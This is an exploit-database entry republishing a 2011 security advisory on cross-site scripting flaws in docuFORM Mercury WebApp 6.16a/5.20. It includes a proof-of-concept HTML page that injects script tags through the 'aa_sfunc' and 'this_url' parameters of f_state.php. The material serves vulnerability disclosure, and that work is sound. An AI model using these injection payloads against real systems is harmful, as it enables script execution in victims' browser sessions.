docuFORM Mercury WebApp 6.16a Multiple Cross-Site Scripting Vulnerabilities

vendor:

Mercury Web Application

by:

Gjoko 'LiquidWorm' Krstic

8.8

CVSS

HIGH

Multiple Cross-Site Scripting

CWE

Product Name: Mercury Web Application

Affected Version From: 6.16a

Affected Version To: 5.2

Patch Exists: NO

Related CWE: N/A

CPE: a:docuform:mercury_webapp

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Mercury HTTP and Database Server 6.16

2011

docuFORM Mercury WebApp 6.16a Multiple Cross-Site Scripting Vulnerabilities

The Mercury Web Application suffers from multiple XSS vulnerabilities when parsing user input thru the GET parameter 'this_url' and the POST parameter 'aa_sfunc' in f_state.php, f_list.php, f_job.php and f_header.php scripts. Attackers can exploit these weaknesses to execute arbitrary HTML and script code in a user's browser session.

Mitigation:

Input validation and output encoding should be used to prevent XSS attacks.

Source

Exploit-DB raw data:

<!--


docuFORM Mercury WebApp 6.16a/5.20 Multiple Cross-Site Scripting Vulnerabilities


Vendor: docuFORM GmbH
Product web page: http://www.docuform.de
Affected version: 6.16a and 5.20

Summary: Unlimited options for production printing and customer solutions.

Desc: The Mercury Web Application suffers from multiple XSS vulnerabilities when
parsing user input thru the GET parameter 'this_url' and the POST parameter 'aa_sfunc'
in f_state.php, f_list.php, f_job.php and f_header.php scripts. Attackers can exploit
these weaknesses to execute arbitrary HTML and script code in a user's browser session.

Tested on: Mercury HTTP and Database Server 6.16

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic


Advisory ID: ZSL-2011-5010
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5010.php


14.04.2011


-->


<html><title>docuFORM Mercury WebApp 6.16a Multiple Cross-Site Scripting Vulnerabilities</title>
<body bgcolor="#1C1C1C">
<script type="text/javascript">
function xss1(){document.forms["xss1"].submit();}
function xss2(){document.forms["xss2"].submit();}
</script><br /><br />
<form action="http://192.168.16.100:8181/Mercury/f_state.php" enctype="application/x-www-form-urlencoded" method="POST" id="xss1">
<input type="hidden" name="aa_afunc" value="call" />
<input type="hidden" name="aa_sfunc" value="1<script>alert(1)</script>" />
<input type="hidden" name="aa_cfunc" value="OnAgentGetDeviceList" />
<input type="hidden" name="aa_sfunc_args%5B%5D" value="0" /></form>
<form action="http://192.168.16.100:8181/Mercury/f_state.php" enctype="application/x-www-form-urlencoded" method="GET" id="xss2">
<input type="hidden" name="ajaxagent" value="js" />
<input type="hidden" name="this_url" value="1--><script>alert(2)</script>" /></form>
<a href="javascript:xss1();" style="text-decoration:none">
<b><font color="red"><center><h3>'aa_sfunc' param</h3></center></font></b></a><br />
<a href="javascript:xss2();" style="text-decoration:none">
<b><font color="red"><center><h3>'this_url' param</h3></center></font></b></a><br />
</body></html>